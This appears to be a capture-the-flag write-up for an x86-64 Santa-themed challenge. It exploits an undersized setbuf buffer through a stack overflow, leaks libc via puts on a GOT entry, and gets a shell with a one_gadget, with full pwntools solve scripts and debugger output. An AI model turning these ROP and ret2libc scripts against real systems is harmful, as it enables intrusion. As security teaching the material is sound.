The Vulnerability

We are provided with an x86-64 binary, libc, and ld. Running checksec on the binary shows that there is no canary, NX is enabled, and PIE is disabled, so it looks like we have to do a buffer overflow ret2libc.

I decompiled the binary with Ghidra and got this:

undefined8 main(void)

{
  int cmp_result;
  FILE *dev_null;
  char input [1024];
  char buffer [1032];
  
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  dev_null = fopen("/dev/null","w");
  setbuf(dev_null,buffer);
  puts("Write all the complaints you have about Santa, they will be merrily redirected to /dev/null"
      );
  while( true ) {
    cmp_result = memcmp(input,"done",4);
    if (cmp_result == 0) break;
    memset(input,0,0x200);
    fgets(input,0x200,stdin);
    fwrite(input,1,0x200,dev_null);
  }
  return 0;
}

It looks like the program reads input until a line that starts with “done” and writes the input to /dev/null. The code inside the loop looks safe, but the setbuf call is interesting since it doesn’t include the size of the buffer. The documentation for setbuf states that the buffer should be at least BUFSIZ characters long, and a quick search inside stdio.h shows that BUFSIZ is 8192, which is much bigger than the size of the buffer. We have a stack buffer overflow vulnerability, and since we control the data that goes into the buffer, we can exploit it to do ROP.

Exploitation

Determining the Offset

First, we need to know the offset from the buffer to the return address. I ran pwninit to make sure that the binary uses the provided libc and linker, then I opened it with gdb. I used the pattern create 1500 command from GEF to generate a pattern with unique substrings and fed it to the program.

screenshot of gdb screenshot of gdb

As expected, it segfaults on the ret instruction with rsp pointing to our pattern characters. I ran pattern search --max-length 1500 $rsp to get the offset, which is 1038. Note that the --max-length option is necessary because GEF will only search the first 1024 characters by default.

gef➤  pattern search --max-length 1500 $rsp
[+] Searching for '$rsp'
[+] Found at offset 1038 (little-endian search) likely
[+] Found at offset 1034 (big-endian search) 

Leaking libc

We have to know where libc is in memory in order to jump to it. The address will be different each time due to ASLR. I used a technique that I learned from a John Hammond return to libc video where the puts function is called with a pointer to an entry in the global offset table so that it prints out the libc address there. We can call puts without knowing the address of libc by going through the procedural linkage table.

from pwn import *

exe = ELF("./chall_patched")
libc = ELF("./libc-2.27.so")

context.binary = exe

r = process([exe.path])  
# r = remote("challs.htsp.ro", 8001)

rop = ROP(exe)
padding = rop.generatePadding(0, 1038)
# Call puts with a pointer to the GOT entry containing the address of setbuf.
# pwntools automatically finds gadgets to set the arguments.
rop.puts(exe.got.setbuf)
# Call main again so that we can write the libc address later.
rop.main()
log.info(rop.dump())
r.sendlineafter(b"/dev/null\n", padding + rop.chain())
r.sendline(b"done")
# puts will stop when it hits a null byte and it will add a newline at the end
# Most of the time, the address won't have newlines or null bytes in the middle,
# but it will end with null bytes so we add those back.
leak = unpack(r.recvline(keepends=False).ljust(8, b"\0"))
# Calculate the libc base address by subtracting the offset of setbuf
libc.address = leak - libc.symbols.setbuf
log.info(f"{hex(leak)=} {hex(libc.address)=}")

r.interactive()

The output looks like this:

[+] Starting local process '/home/vagrant/santa/chall_patched': pid 1625
[*] Loaded 14 cached gadgets for './chall_patched'
[*] 0x0000:         0x4008f3 pop rdi; ret
    0x0008:         0x601020 [arg0] rdi = got.setbuf
    0x0010:         0x400600 puts
    0x0018:         0x400767 main()
[*] hex(leak)='0x7f2264e88470' hex(libc.address)='0x7f2264e00000'
[*] Switching to interactive mode
Write all the complaints you have about Santa, they will be merrily redirected to /dev/null

We can see that pwntools found a pop rdi gadget and used it to set rdi. The libc base address that we got ends in several zeros which is evidence that it’s correct. We can also see the output from the program which indicates that we got main to execute again.

Spawning a Shell

Now that we know where libc is, we can jump to any gadget in it. I used one_gadget to automatically search for gadgets in libc that will spawn a shell.

$ one_gadget libc-2.27.so 
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

The second gadget looks like it’s the easiest to use since we can make sure that rsp+0x40 points to null bytes by writing a bunch of null bytes after the ROP chain.

one_gadget = 0x4f302 + libc.address
rop = ROP(exe)
rop.raw(one_gadget)
# Add 0x48 null bytes to the ROP chain so that [rsp+0x40] == NULL
rop.raw(b"\0" * 0x48)
log.info(rop.dump())
r.sendlineafter(b"/dev/null\n", padding + rop.chain())
r.sendline(b"done")

When I ran the script, I got a shell first try.

[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
$ cat /home/ctf/flag.txt
X-MAS{H07l1n3_Buff3r5_t00_5m4ll}

Full solve script:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall_patched")
libc = ELF("./libc-2.27.so")

context.binary = exe

# r = process([exe.path])
r = remote("challs.htsp.ro", 8001)

rop = ROP(exe)
padding = rop.generatePadding(0, 1038)
rop.puts(exe.got.setbuf)
rop.main()
log.info(rop.dump())
r.sendlineafter(b"/dev/null\n", padding + rop.chain())
r.sendline(b"done")
leak = unpack(r.recvline(keepends=False).ljust(8, b"\0"))
libc.address = leak - libc.symbols.setbuf
log.info(f"{hex(leak)=} {hex(libc.address)=}")

one_gadget = 0x4f302 + libc.address
rop = ROP(exe)
rop.raw(one_gadget)
rop.raw(b"\0" * 0x48)
log.info(rop.dump())
r.sendlineafter(b"/dev/null\n", padding + rop.chain())
r.sendline(b"done")

r.interactive()